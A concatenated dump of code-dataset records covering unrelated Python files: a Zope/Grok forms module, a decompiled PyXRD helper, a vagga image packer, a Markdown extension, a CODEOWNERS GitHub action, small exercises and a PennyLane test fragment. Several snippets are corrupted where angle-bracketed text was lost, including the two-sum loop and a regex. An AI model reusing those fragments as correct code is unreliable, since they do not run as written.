util.caller_module()\n\n\nclass DirectoryResource(directoryresource.DirectoryResource):\n # We subclass this, because we want to override the default factories for\n # the resources so that .pt and .html do not get created as page\n # templates\n\n resource_factories = {}\n for type, factory in (directoryresource.DirectoryResource.\n resource_factories.items()):\n if factory is PageTemplateResourceFactory:\n continue\n resource_factories[type] = factory\n\n\nclass DirectoryResourceFactory(object):\n # We need this to allow hooking up our own GrokDirectoryResource\n # and to set the checker to None (until we have our own checker)\n\n def __init__(self, path, name):\n # XXX we're not sure about the checker=None here\n self.__dir = directoryresource.Directory(path, None, name)\n self.__name = name\n\n def __call__(self, request):\n resource = DirectoryResource(self.__dir, request)\n resource.__name__ = self.__name\n return resource\n\n\nclass Traverser(object):\n interface.implements(IBrowserPublisher)\n\n def __init__(self, context, request):\n self.context = context\n self.request = request\n\n def browserDefault(self, request):\n view_name = getDefaultViewName(self.context, request)\n view_uri = \"@@%s\" % view_name\n return self.context, (view_uri,)\n\n def publishTraverse(self, request, name):\n subob = self.traverse(name)\n if subob is not None:\n return subob\n\n # XXX Special logic here to deal with containers. It would be\n # good if we wouldn't have to do this here. One solution is to\n # rip this out and make you subclass ContainerTraverser if you\n # wanted to override the traversal behaviour of containers.\n if IReadContainer.providedBy(self.context):\n item = self.context.get(name)\n if item is not None:\n return item\n\n view = component.queryMultiAdapter((self.context, request), name=name)\n if view is not None:\n return view\n\n raise NotFound(self.context, name, request)\n\n def traverse(self, name):\n # this will be overridden by subclasses\n pass\n\n\nclass ModelTraverser(Traverser):\n component.adapts(Model, IBrowserRequest)\n\n def traverse(self, name):\n traverse = getattr(self.context, 'traverse', None)\n if traverse:\n return traverse(name)\n\n\nclass ContainerTraverser(Traverser):\n component.adapts(Container, IBrowserRequest)\n\n def traverse(self, name):\n traverse = getattr(self.context, 'traverse', None)\n if traverse:\n result = traverse(name)\n if result is not None:\n return result\n # try to get the item from the container\n return self.context.get(name)\n\ndefault_form_template = PageTemplateFile(os.path.join(\n 'templates', 'default_edit_form.pt'))\ndefault_form_template.__grok_name__ = 'default_edit_form'\ndefault_display_template = PageTemplateFile(os.path.join(\n 'templates', 'default_display_form.pt'))\ndefault_display_template.__grok_name__ = 'default_display_form'\n\nclass GrokForm(object):\n \"\"\"Mix-in to console zope.formlib's forms with grok.View and to\n add some more useful methods.\n\n The consolation needs to happen because zope.formlib's Forms have\n update/render methods which have different meanings than\n grok.View's update/render methods. We deal with this issue by\n 'renaming' zope.formlib's update() to update_form() and by\n disallowing subclasses to have custom render() methods.\"\"\"\n\n def update(self):\n \"\"\"Subclasses can override this method just like on regular\n grok.Views. It will be called before any form processing\n happens.\"\"\"\n\n def update_form(self):\n \"\"\"Update the form, i.e. process form input using widgets.\n\n On zope.formlib forms, this is what the update() method is.\n In grok views, the update() method has a different meaning.\n That's why this method is called update_form() in grok forms.\"\"\"\n super(GrokForm, self).update()\n\n def render(self):\n \"\"\"Render the form, either using the form template or whatever\n the actions returned in form_result.\"\"\"\n # if the form has been updated, it will already have a result\n if self.form_result is None:\n if self.form_reset:\n # we reset, in case data has changed in a way that\n # causes the widgets to have different data\n self.resetForm()\n self.form_reset = False\n self.form_result = self._render_template()\n\n return self.form_result\n\n # Mark the render() method as a method from the base class. That\n # way we can detect whether somebody overrides render() in a\n # subclass (which we don't allow).\n render.base_method = True\n\n def __call__(self):\n mapply(self.update, (), self.request)\n if self.request.response.getStatus() in (302, 303):\n # A redirect was triggered somewhere in update(). Don't\n # continue rendering the template or doing anything else.\n return\n\n self.update_form()\n return self.render()\n\nclass Form(GrokForm, form.FormBase, View):\n # We're only reusing the form implementation from zope.formlib, we\n # explicitly don't want to inherit the interface semantics (mostly\n # for the different meanings of update/render).\n interface.implementsOnly(interfaces.IGrokForm)\n\n template = default_form_template\n\n def applyData(self, obj, **data):\n return formlib.apply_data_event(obj, self.form_fields, data,\n self.adapters)\n\n # BBB -- to be removed in June 2007\n def applyChanges(self, obj, **data):\n warnings.warn(\"The 'applyChanges' method on forms is deprecated \"\n \"and will disappear by June 2007. Please use \"\n \"'applyData' instead.\", DeprecationWarning, 2)\n return bool(self.applyData(obj, **data))\n\nclass AddForm(Form):\n pass\n\nclass EditForm(GrokForm, form.EditFormBase, View):\n # We're only reusing the form implementation from zope.formlib, we\n # explicitly don't want to inherit the interface semantics (mostly\n # for the different meanings of update/render).\n interface.implementsOnly(interfaces.IGrokForm)\n\n template = default_form_template\n\n def applyData(self, obj, **data):\n return formlib.apply_data_event(obj, self.form_fields, data,\n self.adapters, update=True)\n\n # BBB -- to be removed in June 2007\n def applyChanges(self, obj, **data):\n warnings.warn(\"The 'applyChanges' method on forms is deprecated \"\n \"and will disappear by June 2007. Please use \"\n \"'applyData' instead.\", DeprecationWarning, 2)\n return bool(self.applyData(obj, **data))\n\n @formlib.action(\"Apply\")\n def handle_edit_action(self, **data):\n if self.applyData(self.context, **data):\n formatter = self.request.locale.dates.getFormatter(\n 'dateTime', 'medium')\n\n try:\n time_zone = idatetime.ITZInfo(self.request)\n except TypeError:\n time_zone = pytz.UTC\n\n self.status = \"Updated on %s\" % formatter.format(\n datetime.datetime.now(time_zone)\n )\n else:\n self.status = 'No changes'\n\nclass DisplayForm(GrokForm, form.DisplayFormBase, View):\n # We're only reusing the form implementation from zope.formlib, we\n # explicitly don't want to inherit the interface semantics (mostly\n # for the different meanings of update/render).\n interface.implementsOnly(interfaces.IGrokForm)\n\n template = default_display_template\n\nclass IndexesClass(object):\n def __init__(self, name, bases=(), attrs=None):\n if attrs is None:\n return\n # make sure we take over a bunch of possible attributes\n for name in ['__grok_context__', '__grok_name__',\n '__grok_site__']:\n value = attrs.get(name)\n if value is not None:\n setattr(self, name, value)\n # now read and store indexes\n indexes = {}\n for name, value in attrs.items():\n if not interfaces.IIndexDefinition.providedBy(value):\n continue\n indexes[name] = value\n self.__grok_indexes__ = indexes\n # __grok_module__ is needed to make defined_locally() return True for\n # inline templates\n self.__grok_module__ = util.caller_module()\n \nIndexes = IndexesClass('Indexes')\n","sub_path":"grok/branches/luciano-tutorial/src/grok/components.py","file_name":"components.py","file_ext":"py","file_size_in_byte":16174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"64662405","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /usr/local/lib/python3.6/dist-packages/pyxrd/generic/mathtext_support.py\n# Compiled at: 2020-03-07 03:51:50\n# Size of source mod 2**32: 5743 bytes\nimport logging\nlogger = logging.getLogger(__name__)\nimport re\nfrom fractions import Fraction\nimport gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk, Gdk, GdkPixbuf\ntry:\n gi.require_foreign('cairo')\nexcept ImportError as orig:\n try:\n import cairocffi as cairo\n except ImportError as snd:\n logger.error('No cairo integration :(')\n raise snd from orig\n\nfrom matplotlib import rcParams\nimport matplotlib.mathtext as mathtext\npbmt_cache = dict()\ndisplay = Gdk.Display.get_default()\nscreen = display.get_default_screen()\ndpi = screen.get_resolution() or 96\n\ndef create_pb_from_mathtext(text, align='center', weight='heavy', color='b', style='normal'):\n \"\"\"\n Create a Gdk.Pixbuf from a mathtext string\n \"\"\"\n global dpi\n global pbmt_cache\n if text not in pbmt_cache:\n parts, fontsize = _handle_customs(text)\n pbs = []\n width = 0\n height = 0\n old_params = (\n rcParams['font.weight'], rcParams['text.color'], rcParams['font.style'])\n rcParams['font.weight'] = weight\n rcParams['text.color'] = color\n rcParams['font.style'] = style\n parser = mathtext.MathTextParser('Bitmap')\n for part in parts:\n png_loader = GdkPixbuf.PixbufLoader.new_with_type('png')\n parser.to_png(png_loader, part, dpi=dpi, fontsize=fontsize)\n png_loader.close()\n pb = png_loader.get_pixbuf()\n w, h = pb.get_width(), pb.get_height()\n width = max(width, w)\n height += h\n pbs.append((pb, w, h))\n\n rcParams['font.weight'], rcParams['text.color'], rcParams['font.style'] = old_params\n surface = cairo.ImageSurface(cairo.FORMAT_ARGB32, width, height)\n cr = cairo.Context(surface)\n cr.save()\n cr.set_operator(cairo.OPERATOR_CLEAR)\n cr.paint()\n cr.restore()\n cr.save()\n offsetx = 0\n offsety = 0\n for pb, w, h in pbs:\n if align == 'center':\n offsetx = int((width - w) / 2)\n else:\n if align == 'left':\n offsetx = 0\n if align == 'right':\n offsetx = int(width - w)\n Gdk.cairo_set_source_pixbuf(cr, pb, offsetx, offsety)\n cr.rectangle(offsetx, offsety, w, h)\n cr.paint()\n offsety += h\n\n del pbs\n cr.restore()\n pbmt_cache[text] = Gdk.pixbuf_get_from_surface(surface, 0, 0, width, height)\n return pbmt_cache[text]\n\n\ndef create_image_from_mathtext(text, align='center', weight='heavy', color='b', style='normal'):\n \"\"\"\n Create a Gtk.Image widget from a mathtext string\n \"\"\"\n image = Gtk.Image()\n image.set_from_pixbuf(create_pb_from_mathtext(text, align=align))\n return image\n\n\ndef _handle_customs(text):\n text = text.decode('utf-8')\n if '\\\\larger' in text:\n fontsize = 20\n else:\n if '\\\\large' in text:\n fontsize = 15\n else:\n fontsize = 10\n replacers = [('²', '$^{2}$'),\n ('³', '$^{3}$'),\n ('α', '$\\\\alpha$'),\n ('β', '$\\\\beta$'),\n ('γ', '$\\\\gamma$'),\n ('δ', '$\\\\delta$'),\n ('γ', '$\\\\digamma$'),\n ('η', '$\\\\eta$'),\n ('ι', '$\\\\iota$'),\n ('κ', '$\\\\kappa$'),\n ('λ', '$\\\\lambda$'),\n ('μ', '$\\\\mu$'),\n ('ω', '$\\\\omega$'),\n ('φ', '$\\\\phi$'),\n ('π', '$\\\\pi$'),\n ('ψ', '$\\\\psi$'),\n ('ρ', '$\\\\rho$'),\n ('σ', '$\\\\sigma$'),\n ('τ', '$\\\\tau$'),\n ('θ', '$\\\\theta$'),\n ('υ', '$\\\\upsilon$'),\n ('ξ', '$\\\\xi$'),\n ('ζ', '$\\\\zeta$'),\n ('\\\\larger', ''),\n ('\\\\large', ''),\n ('\\\\newline', '$\\\\newline$')]\n for val, rep in replacers:\n text = text.replace(val, rep)\n\n parts = text.replace('$$', '').split('\\\\newline')\n while '$$' in parts:\n parts.remove('$$')\n\n return (\n parts, fontsize)\n\n\ndef mt_frac(val):\n val = Fraction(val).limit_denominator()\n if val.denominator > 1:\n return '\\\\frac{%d}{%d}' % (val.numerator, val.denominator)\n else:\n return '%d' % val.numerator\n\n\ndef mt_range(lower, name, upper):\n return '\\\\left({ %s \\\\leq %s \\\\leq %s }\\\\right)' % (mt_frac(lower), name, mt_frac(upper))\n\n\ndef get_plot_safe(expression):\n return ''.join(_handle_customs(expression)[0])\n\n\ndef get_string_safe(expression):\n replacers = [\n ('$', ''),\n ('\\\\larger', ''),\n ('\\\\left', ''),\n ('\\\\right', ''),\n ('\\\\leq', '≤'),\n ('\\\\geq', '≥'),\n ('\\\\large', ''),\n ('\\\\newline', '\\n')]\n for val, rep in replacers:\n expression = expression.replace(val, rep)\n\n regex_replacers = [\n ('\\\\\\\\sum_\\\\{(\\\\S+)\\\\}\\\\^\\\\{(\\\\S+)\\\\}', 'Σ(\\\\1->\\\\2)'),\n ('(\\\\S+)_(?:\\\\{(\\\\S+)\\\\})', '\\\\1\\\\2'),\n ('(\\\\S+)_(\\\\S+)', '\\\\1\\\\2'),\n ('\\\\\\\\frac\\\\{([^}])\\\\}\\\\{([^}])\\\\}', '\\\\1\\\\\\\\\\\\2'),\n ('\\\\\\\\frac\\\\{(.+)\\\\}\\\\{(.+)\\\\}', '(\\\\1)\\\\\\\\(\\\\2)'),\n ('\\\\(\\\\{([^})]+)\\\\}\\\\)', '(\\\\1)')]\n for regexpr, sub in regex_replacers:\n pattern = re.compile(regexpr)\n expression = pattern.sub(sub, expression)\n\n return expression","sub_path":"pycfiles/PyXRD-0.8.4.linux-x86_64.tar/mathtext_support.cpython-36.py","file_name":"mathtext_support.cpython-36.py","file_ext":"py","file_size_in_byte":5429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"358564757","text":"from functools import wraps\nfrom pathlib import Path\nfrom subprocess import check_output, CalledProcessError, STDOUT\n\nimport click\n\nfrom rumpico.storage import get_storage_cls, AbstractStorage\n\n\ndef intercept_io_errors(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n try:\n return func(*args, **kwargs)\n except CalledProcessError as e:\n click.echo(click.style(e.output.decode().strip(), fg='red'))\n\n return wrapper\n\n\n@intercept_io_errors\ndef hash_image(*, name: str) -> str:\n result = check_output(['vagga', '_version_hash', '--short', name], stderr=STDOUT)\n return result.decode().strip()\n\n\n@intercept_io_errors\ndef build_image(*, name: str, debug: bool = False):\n click.echo(f'Building image «{click.style(name, bold=True)}»…')\n result = check_output(['vagga', '_build', name], stderr=STDOUT)\n if debug:\n click.echo(result.decode())\n\n\n@intercept_io_errors\ndef pack_image(*, name: str, compress: bool = False, debug: bool = False) -> Path:\n click.echo(f'Packing image «{click.style(name, bold=True)}»…')\n\n destination = Path(name).with_suffix('.tar')\n file_name = destination.as_posix()\n\n check_output(['vagga', '_pack_image', name, '--file', file_name], stderr=STDOUT)\n\n if compress:\n click.echo(click.style(f'Compressing {name} image', dim=True))\n check_output(['lzop', '-f', '-U', file_name], stderr=STDOUT)\n return destination.with_suffix('.lzo')\n else:\n return destination\n\n\ndef upload_image(*, image: Path, project: str, name: str, storage_type: str, debug: bool = False):\n click.echo(f'Uploading image «{click.style(name, bold=True)}» to {storage_type}…')\n\n # noinspection PyCallingNonCallable\n uploader: AbstractStorage = get_storage_cls(storage_type=storage_type)(project)\n\n key = uploader.key(name=name, image_hash=hash_image(name=name))\n uploader.upload(source=image, key=key)\n\n","sub_path":"rumpico/bl.py","file_name":"bl.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"110765415","text":"# Copyright 2018 Jiří Janoušek \n# Licensed under BSD-2-Clause license - see file LICENSE for details.\n\nimport re\nimport textwrap\nfrom html import escape\nfrom typing import Optional, Any, List, Match\n\nimport markdown\nfrom markdown.extensions import Extension\n\nfrom markdown.preprocessors import Preprocessor\nfrom markdown.util import etree, STX, ETX\n\nfrom fxwebgen.markdown.base import BlockProcessor, Stash\n\nRE = re.compile(r'(^|\\n)(.*?\\s*?)(\\n|$)', re.DOTALL)\nPLACEHOLDER = STX + \"bs4stsh:%s\" + ETX\nPLACEHOLDER_RE = re.compile(PLACEHOLDER % r'([0-9]+)')\n\n\ndef dedent(text: str, unindent: Optional[str] = None) -> str:\n if '\\n' in text:\n return textwrap.dedent(unindent + text if unindent else text)\n return text\n\n\nclass BootstrapExtension(Extension):\n def extendMarkdown(self, md: markdown.Markdown) -> None:\n md.registerExtension(self)\n md.parser.blockprocessors.add('bootstrap', BootstrapProcessor(md), '_begin')\n md.preprocessors.add('bootstrap', BootstrapPreprocessor(md), ' List[str]:\n try:\n stash = getattr(self.markdown, 'bootstrap_stash')\n stash.reset()\n except AttributeError:\n stash = Stash(PLACEHOLDER)\n setattr(self.markdown, 'bootstrap_stash', stash)\n\n def replace(m: Match) -> str:\n return f'{m.group(1) or \"\"}{stash.store(m.group(2))}{m.group(3) or \"\"}'\n\n text = \"\\n\".join(lines)\n text = RE.sub(replace, text)\n return text.split(\"\\n\")\n\n\nclass BootstrapProcessor(BlockProcessor):\n def test(self, parent: etree.Element, block: str) -> bool:\n return bool(PLACEHOLDER_RE.search(block))\n\n def run(self, parent: etree.Element, blocks: List[str]) -> None:\n sibling = self.lastChild(parent)\n block = blocks.pop(0)\n m = PLACEHOLDER_RE.search(block)\n if m:\n index = int(m.group(1))\n block = getattr(self.md, 'bootstrap_stash')[index]\n try:\n tree = etree.fromstring(block)\n\n except etree.ParseError as e:\n pre = etree.SubElement(parent, 'pre')\n pre.text = f'{e}\\n{escape(block)}'\n else:\n self._parse(parent, tree)\n elif sibling:\n self.parser.parseChunk(sibling, block)\n\n def _parse(self, parent: etree.Element, tree: etree.Element) -> None:\n for child in tree:\n parse = getattr(self, f'_parse_{child.tag}')\n parse(parent, child)\n\n def _parse_accordion(self, parent: etree.Element, accordion: etree.Element) -> None:\n attrib = accordion.attrib\n if 'class' in attrib:\n attrib['class'] = 'accordion ' + attrib['class']\n id_accordion = attrib['id']\n div = etree.SubElement(parent, 'div', attrib)\n for n, entry in enumerate(accordion):\n show = entry.get('show', 'default')\n visible = {\n 'true': True,\n 'false': False,\n 'default': n == 0,\n }[show]\n id_header = f'{id_accordion}-h{n}'\n id_body = f'{id_accordion}-b{n}'\n assert entry.tag == 'entry'\n header = None\n body = None\n for child in entry:\n if child.tag == 'header':\n header = child\n elif child.tag == 'body':\n body = child\n else:\n raise ValueError(child)\n assert header is not None and body is not None, (header, body)\n entry_class = entry.get('class')\n card = etree.SubElement(div, 'div', {'class': 'card ' + entry_class if entry_class else 'card'})\n header_class = header.get('class')\n card_header = etree.SubElement(card, 'div', {\n 'class': 'card-header py-1 ' + (f' {header_class}' if header_class else ''),\n 'id': id_header,\n })\n h5 = etree.SubElement(card_header, 'h5', {'class': 'my-0'})\n button = etree.SubElement(h5, 'button', {\n 'class': 'btn btn-link font-weight-bold my-0',\n 'type': 'button',\n 'data-toggle': 'collapse',\n 'data-target': '#' + id_body,\n 'aria-expanded': 'true' if visible else 'false',\n 'aria-controls': id_body,\n })\n dummy = etree.Element('div')\n self.parser.parseChunk(dummy, dedent(header.text or '', ' '))\n p = dummy[0]\n assert p.tag == 'p', p\n button.text = p.text\n button.tail = p.tail\n children = list(p)\n for child in children:\n p.remove(child)\n button.append(child)\n collapse = etree.SubElement(card, 'div', {\n 'class': 'collapse show' if visible else 'collapse',\n 'id': id_body,\n 'aria-labelledby': id_header,\n 'data-parent': '#' + id_accordion,\n })\n card_body = etree.SubElement(collapse, 'div', {'class': 'card-body'})\n self.parser.parseChunk(card_body, dedent(body.text or '', ' '))\n\n\n# noinspection PyPep8Naming\ndef makeExtension(**kwargs: Any) -> BootstrapExtension: # pylint: disable=invalid-name\n return BootstrapExtension(**kwargs)\n","sub_path":"fxwebgen/markdown/bootstrap.py","file_name":"bootstrap.py","file_ext":"py","file_size_in_byte":5464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"81721139","text":"from tkinter import *\n\nclass View():\n #Tk() creates a toplevel widget, usually the main window. Only to be instantiated once in an application\n def __init__(self):\n self.window = Tk()\n self.button = Button(self.window)\n #self.button.pack(side=TOP, expand=True)\n self.button.config(fg = 'red', text='Button')\n self.button.grid(sticky='nsew')\n\n\n\n\n\n\n#Widget class is only meant to be subclassed to make real widgets\n\nview = View()\nview.window.mainloop()\n","sub_path":"Python3/Tests/GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"517132758","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\n\"\"\"hist matching.\"\"\"\n\nimport cv2\nimport os\n\ndef add_zeros(path_number):\n if (len(path_number) == 1):\n return '000' + path_number\n elif (len(path_number) == 2):\n return '00' + path_number\n elif (len(path_number) == 3):\n return '0' + path_number\n else:\n return path_number\n\n# TARGET_FILE = 'train_0000.jpg'\nIMG_DIR = os.path.abspath(os.path.dirname(__file__)) + '/../data/temp/'\nIMG_SIZE = (200, 200)\ntemp = 0\n\nfor i in range(6901):\n # print(i)\n j = i + 1\n i = str(i)\n j = str(j)\n i = add_zeros(i)\n j = add_zeros(j)\n\n target_img_path = IMG_DIR + 'train_' + i + '.jpg'\n target_img = cv2.imread(target_img_path)\n target_img = cv2.resize(target_img, IMG_SIZE)\n target_hist = cv2.calcHist([target_img], [0], None, [256], [0, 256])\n\n comparing_img_path = IMG_DIR + 'train_' + j + '.jpg'\n # print('FILE: %s : %s' % ('train_' + i + '.jpg', 'train_' + j + '.jpg'))\n comparing_img = cv2.imread(comparing_img_path)\n comparing_img = cv2.resize(comparing_img, IMG_SIZE)\n comparing_hist = cv2.calcHist([comparing_img], [0], None, [256], [0, 256])\n ret = cv2.compareHist(target_hist, comparing_hist, 0)\n # print(file, ret)\n print(ret - temp)\n temp = ret","sub_path":"script/hist_matching.py","file_name":"hist_matching.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"286425555","text":"# @brief: leetcode-167. 两数之和 II - 输入有序数组\n# @envir: python 2.7\n# @date: 2019/5/9\n# @author: luhao\n\nclass Solution(object):\n def twoSum(self, numbers, target):\n \"\"\"\n :type numbers: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n i = 0\n j = len(numbers)-1\n while (i target:\n j-=1\n else:\n i+=1\n \n","sub_path":"167/167.py","file_name":"167.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"545986883","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Copyright 2018 Kyoto University (Hirofumi Inaguma)\n# Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0)\n\n\"\"\"Greedy (best pass) decoder in numpy implementation.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom itertools import groupby\nimport numpy as np\n\n\nclass GreedyDecoder(object):\n\n def __init__(self, blank):\n self.blank = blank\n\n def __call__(self, log_probs, xlens):\n \"\"\"\n\n Args:\n log_probs (FloatTensor): `[B, T, vocab]`\n xlens (np.ndarray): `[B]`\n Returns:\n best_hyps (np.ndarray): Best path hypothesis. `[B, labels_max_seq_len]`\n\n \"\"\"\n bs = log_probs.size(0)\n best_hyps = []\n\n # Pickup argmax class\n for b in range(bs):\n indices = []\n time = xlens[b]\n for t in range(time):\n argmax = log_probs[b, t].argmax(0).item()\n indices.append(argmax)\n\n # Step 1. Collapse repeated labels\n collapsed_indices = [x[0] for x in groupby(indices)]\n\n # Step 2. Remove all blank labels\n best_hyp = [x for x in filter(lambda x: x != self.blank, collapsed_indices)]\n best_hyps.append(np.array(best_hyp))\n\n return np.array(best_hyps)\n","sub_path":"neural_sp/models/seq2seq/decoders/ctc_greedy.py","file_name":"ctc_greedy.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"101413187","text":"#!/usr/bin/env python3\n\n\ndef ackermann(m, n):\n \"\"\" This function returns the Ackermann value of the function.\n Defined in https://en.wikipedia.org/wiki/Ackermann_function\"\"\"\n\n if m == 0:\n return n + 1\n elif m > 0 and n == 0:\n return ackermann(m - 1, 1)\n else:\n return ackermann(m - 1, ackermann(m, n - 1))\n\n\nprint(ackermann(15, 20))\n","sub_path":"chap6/ackermann.py","file_name":"ackermann.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"428693965","text":"\"\"\"\nThis program will make allow user to enter 10 values and help the user sort out the number less than any specified valued by the user himself\n\"\"\"\n#this part allows user to input the 10 numbers he wishes to filter\nlst=list()\nfor i in range(10):\n lst.append(int(input(\"Enter number:\")))\nuser_specify=int(input(\"Enter the number u wish u want to have less than:\"))\nnumberless=user_specify #not neccessary but to make things look better\n#this function here will filter out the number less than whatever user specified\ndef less_than_5(n):\n if n[^\\s@#]+)\\s+)\"\n r\"(?P(@[\\w\\-]+\\s?)+)\" # And at least 1 instance of '@blah-blorp'\n r\"(\\s+#.*)?$\" # We end with either whitespaces leading to a comment, or the end of a line.\n)\n\n\nclass AppContext(BaseModel):\n user: str\n target_branch: str\n path_to_repository: str\n\n\nclass Codeowner(BaseModel):\n pattern: str\n users: List[str] = Field(..., min_items=1)\n\n @classmethod\n def parse_line(cls, line: str):\n \"\"\"\n Parses CODEOWNERS syntax in the form of:\n /some/path/foo/* @user1 @user2 # Perhaps a comment\n \"\"\"\n line = line.strip()\n match = re.match(LINE_PATTERN, line)\n if not match:\n raise ValueError(\"Line cannot be parsed as valid CODEOWNER syntax\")\n\n groups = match.groupdict()\n pattern = groups.get(\"pattern\")\n return cls(pattern=pattern, users=groups[\"users\"].split())\n\n def includes(self, path) -> bool:\n if self.pattern == path:\n return True\n # The CODEOWNERS spec says that 'foo/*' will only match\n # files that are direct descendents of 'foo/',\n # i.e.: \"foo/bar.yml\" will match but \"foo/bar/baz.yml\" will not.\n elif self.pattern.endswith(\"/*\"): # foo/bar/*\n parent_directory = self.pattern[:-1]\n return os.path.relpath(parent_directory, path) == \"..\"\n # Something ending in / will match anything under that directory, recursively.\n elif self.pattern.endswith(\"/\"):\n relpath = os.path.relpath(self.pattern, path)\n # Descendents of a directory will have a relpath of e.g., '../../../../'\n return all(map(lambda p: p == \"..\", relpath.split(os.path.sep)))\n # If something is trying to globally check for a file type, like: '*.js', just check the extension\n elif re.match(r\"^\\*\\.\\w+$\", self.pattern):\n return path.endswith(self.pattern[1:])\n else:\n ft_match = re.match(\n r\"^(?P.*)\\*(?P\\.\\w+)\", self.pattern\n )\n if ft_match:\n groups = ft_match.groupdict()\n is_correct_type = path.endswith(groups[\"extension\"])\n return (\n is_correct_type\n and os.path.relpath(groups[\"path_prefix\"], path) == \"..\"\n )\n return False\n\n\ndef load_codeowners(\n user: str, repo_path: str, target_branch: str, filename: Optional[str] = None\n) -> List[Codeowner]:\n repo = git.Repo(repo_path)\n repo.git.checkout(target_branch)\n try:\n if not filename:\n for path in (\n os.path.join(repo_path, \"CODEOWNERS\"),\n os.path.join(repo_path, \".github\", \"CODEOWNERS\"),\n ):\n if os.path.exists(path):\n # Make sure that nobody can sneak an unguarded shadow codeowners into the repo\n if filename:\n raise FileExistsError(\n \"Found more than one CODEOWNERS pattern in the repository! Aborting.\"\n )\n filename = path\n if not filename:\n raise FileNotFoundError(\n f\"No valid CODEOWNERS file found in {repo_path}\"\n )\n else:\n filename = os.path.join(repo_path, filename)\n\n if not os.path.exists(filename):\n raise FileNotFoundError(filename)\n\n def is_valid(line: str):\n if not line:\n return False\n line = line.strip()\n return line and line[0] != \"#\" and line[0:2] != \"* \"\n\n with open(cast(str, filename)) as f:\n # Filter out paths that the given user is not eligible for.\n return list(\n filter(\n lambda p: user in p.users,\n [\n # Trim all whitespace so we know for sure what the first character of each line is.\n Codeowner.parse_line(ln.strip())\n for ln in f.readlines()\n if is_valid(ln)\n ],\n )\n )\n finally:\n repo.git.checkout(\"@{-1}\") # switch to previous branch\n\n\ndef path_is_eligible(path: str, codeowners: List[Codeowner]) -> bool:\n for owned in codeowners:\n if owned.includes(path):\n return True\n return False\n\n\ndef all_paths_owned(codeowners: List[Codeowner], paths: List[str], user: str) -> bool:\n if not codeowners: # The user was not listed as a codeowner on any paths\n msg = f\"User {user} has no valid paths in CODEOWNERS\"\n print(msg)\n return False\n\n if not paths:\n print(\"No paths were touched. There is nothing for the user to own.\")\n return False\n\n for path in paths:\n if not path_is_eligible(path, codeowners):\n print(f\"User {user} is not a CODEOWNER of path {path}\")\n return False\n else:\n print(f\"User {user} is a CODEOWNER of path {path}\")\n return True\n\n\ndef reduce_diff_paths(diffs: List[git.Diff]) -> Set[str]:\n paths = set()\n for diff in diffs:\n paths.add(diff.a_path)\n paths.add(diff.b_path)\n return paths\n\n\ndef get_change_diffs(target_branch: str, repo_path: str) -> List[git.Diff]:\n head = git.Repo(repo_path).head.commit\n return head.diff(target_branch)\n\n\ndef get_result(context: AppContext):\n codeowners = load_codeowners(\n context.user, context.path_to_repository, target_branch=context.target_branch\n )\n print(\n f\"User {context.user} is a CODEOWNER of the following patterns: {[c.pattern for c in codeowners]}\"\n )\n diffs = get_change_diffs(context.target_branch, context.path_to_repository)\n print(f\"Checking ownership of {len(diffs)} total diffs\")\n # Everything after this point happens in memory; file system access\n # is no longer required after this point.\n touched_paths = reduce_diff_paths(diffs)\n return all_paths_owned(codeowners, list(touched_paths), context.user)\n\n\ndef run_action(): # pragma: no cover\n args = parser.parse_args()\n result = get_result(\n AppContext(\n user=args.user,\n target_branch=args.target_branch,\n path_to_repository=args.path_to_repository,\n )\n )\n print(f\"::set-output name=result::{result}\")\n","sub_path":"app/is_user_codeowner_action/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"307530905","text":"\"\"\"\nUnit tests for the pyQVM simulator device.\n\"\"\"\nimport logging\n\nimport networkx as nx\nimport pytest\n\nimport pennylane as qml\nfrom pennylane.circuit_graph import CircuitGraph\nfrom pennylane import numpy as np\n\nfrom conftest import BaseTest\nfrom conftest import I, Z, H, U, U2, test_operation_map\n\nimport pennylane_forest as plf\n\nfrom flaky import flaky\n\nlog = logging.getLogger(__name__)\n\n\n# make tests deterministic\nnp.random.seed(42)\n\n\nclass TestPyQVMBasic(BaseTest):\n \"\"\"Unit tests for the pyQVM simulator.\"\"\"\n\n # pylint: disable=protected-access\n\n def test_identity_expectation(self, shots):\n \"\"\"Test that identity expectation value (i.e. the trace) is 1\"\"\"\n theta = 0.432\n phi = 0.123\n\n dev = plf.QVMDevice(device=\"2q-pyqvm\", shots=shots)\n\n O1 = qml.expval(qml.Identity(wires=[0]))\n O2 = qml.expval(qml.Identity(wires=[1]))\n\n circuit_graph = CircuitGraph(\n [qml.RX(theta, wires=[0]), qml.RX(phi, wires=[1]), qml.CNOT(wires=[0, 1])] + [O1, O2],\n {},\n )\n\n dev.apply(circuit_graph.operations, rotations=circuit_graph.diagonalizing_gates)\n\n 